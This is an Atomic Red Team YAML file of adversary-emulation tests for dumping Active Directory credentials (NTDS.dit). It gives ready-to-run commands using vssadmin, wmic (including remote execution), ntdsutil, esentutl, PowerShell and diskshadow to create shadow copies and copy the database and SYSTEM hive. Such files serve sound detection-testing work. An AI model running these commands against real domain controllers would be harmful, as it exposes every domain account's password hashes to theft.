Files
atomic-red-team/atomics/T1003.003/T1003.003.yaml
2024-02-25 01:15:31 +00:00

264 lines
9.6 KiB
YAML

attack_technique: T1003.003
display_name: "OS Credential Dumping: NTDS"
atomic_tests:
- name: Create Volume Shadow Copy with vssadmin
auto_generated_guid: dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
supported_platforms:
- windows
input_arguments:
drive_letter:
description: Drive letter to source VSC (including colon)
type: string
default: 'C:'
dependencies:
- description: |
Target must be a Domain Controller
prereq_command: |
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
get_prereq_command: |
echo Sorry, Promoting this machine to a Domain Controller must be done manually
executor:
command: |
vssadmin.exe create shadow /for=#{drive_letter}
name: command_prompt
elevation_required: true
- name: Copy NTDS.dit from Volume Shadow Copy
auto_generated_guid: c6237146-9ea6-4711-85c9-c56d263a6b03
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.
supported_platforms:
- windows
input_arguments:
vsc_name:
description: Name of Volume Shadow Copy
type: string
default: '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1'
extract_path:
description: Path for extracted NTDS.dit
type: path
default: C:\Windows\Temp
dependencies:
- description: |
Target must be a Domain Controller
prereq_command: |
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
get_prereq_command: |
echo Sorry, Promoting this machine to a Domain Controller must be done manually
- description: |
Volume shadow copy must exist
prereq_command: |
if not exist #{vsc_name} (exit /b 1)
get_prereq_command: |
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'" to fulfill this requirement
- description: |
Extract path must exist
prereq_command: |
if not exist #{extract_path} (exit /b 1)
get_prereq_command: |
mkdir #{extract_path}
executor:
command: |
copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
cleanup_command: |
del "#{extract_path}\ntds.dit" >nul 2> nul
del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}\SYSTEM_HIVE" >nul 2> nul
name: command_prompt
elevation_required: true
- name: Dump Active Directory Database with NTDSUtil
auto_generated_guid: 2364e33d-ceab-4641-8468-bfb1d7cc2723
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.
Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
supported_platforms:
- windows
input_arguments:
output_folder:
description: Path where resulting dump should be placed
type: path
default: C:\Windows\Temp\ntds_T1003
dependencies:
- description: |
Target must be a Domain Controller
prereq_command: |
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
get_prereq_command: |
echo Sorry, Promoting this machine to a Domain Controller must be done manually
executor:
command: |
mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
cleanup_command: |
rmdir /q /s #{output_folder} >nul 2>&1
name: command_prompt
elevation_required: true
- name: Create Volume Shadow Copy with WMI
auto_generated_guid: 224f7de0-8f0a-4a94-b5d8-989b036c86da
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
supported_platforms:
- windows
input_arguments:
drive_letter:
description: Drive letter to source VSC (including colon and backslash)
type: string
default: 'C:\'
dependencies:
- description: |
Target must be a Domain Controller
prereq_command: |
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
get_prereq_command: |
echo Sorry, Promoting this machine to a Domain Controller must be done manually
executor:
command: |
wmic shadowcopy call create Volume=#{drive_letter}
name: command_prompt
elevation_required: true
- name: Create Volume Shadow Copy remotely with WMI
auto_generated_guid: d893459f-71f0-484d-9808-ec83b2b64226
description: |
This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
supported_platforms:
- windows
input_arguments:
drive_letter:
description: Drive letter to source VSC (including colon and backslash)
type: string
default: 'C:\'
target_host:
description: IP Address / Hostname you want to target
type: string
default: localhost
dependencies:
- description: |
Target must be a reachable Domain Controller, and current context must be domain admin
prereq_command: |
wmic /node:"#{target_host}" shadowcopy list brief
get_prereq_command: |
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)
executor:
command: |
wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}
name: command_prompt
elevation_required: true
- name: Create Volume Shadow Copy remotely (WMI) with esentutl
auto_generated_guid: 21c7bf80-3e8b-40fa-8f9d-f5b194ff2865
description: |
This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.
supported_platforms:
- windows
input_arguments:
source_path:
description: File to shadow copy
type: string
default: 'c:\windows\ntds\ntds.dit'
target_path:
description: Target path of the result file
type: string
default: 'c:\ntds.dit'
target_host:
description: IP Address / Hostname you want to target
type: string
default: localhost
dependencies:
- description: |
Target must be a reachable Domain Controller, and current context must be domain admin
prereq_command: |
wmic /node:"#{target_host}" shadowcopy list brief
get_prereq_command: |
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)
executor:
command: |
wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"
name: command_prompt
elevation_required: true
- name: Create Volume Shadow Copy with Powershell
auto_generated_guid: 542bb97e-da53-436b-8e43-e0a7d31a6c24
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
supported_platforms:
- windows
input_arguments:
drive_letter:
description: Drive letter to source VSC (including colon)
type: string
default: 'C:\'
executor:
command: |
(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')
name: powershell
elevation_required: true
- name: Create Symlink to Volume Shadow Copy
auto_generated_guid: 21748c28-2793-4284-9e07-d6d028b66702
description: |
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
supported_platforms:
- windows
input_arguments:
drive_letter:
description: Drive letter to source VSC (including colon)
type: string
default: 'C:'
symlink_path:
description: symlink path
type: string
default: 'C:\Temp\vssstore'
executor:
command: |
vssadmin.exe create shadow /for=#{drive_letter}
mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
name: command_prompt
elevation_required: true
- name: Create Volume Shadow Copy with diskshadow
auto_generated_guid: b385996c-0e7d-4e27-95a4-aca046b119a7
description: |
This test is intended to be run on a domain controller
An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit
supported_platforms:
- windows
input_arguments:
filename:
description: Location of the script
type: Path
default: PathToAtomicsFolder\T1003.003\src\diskshadow.txt
executor:
command: |
mkdir c:\exfil
diskshadow.exe /s #{filename}
name: command_prompt
elevation_required: true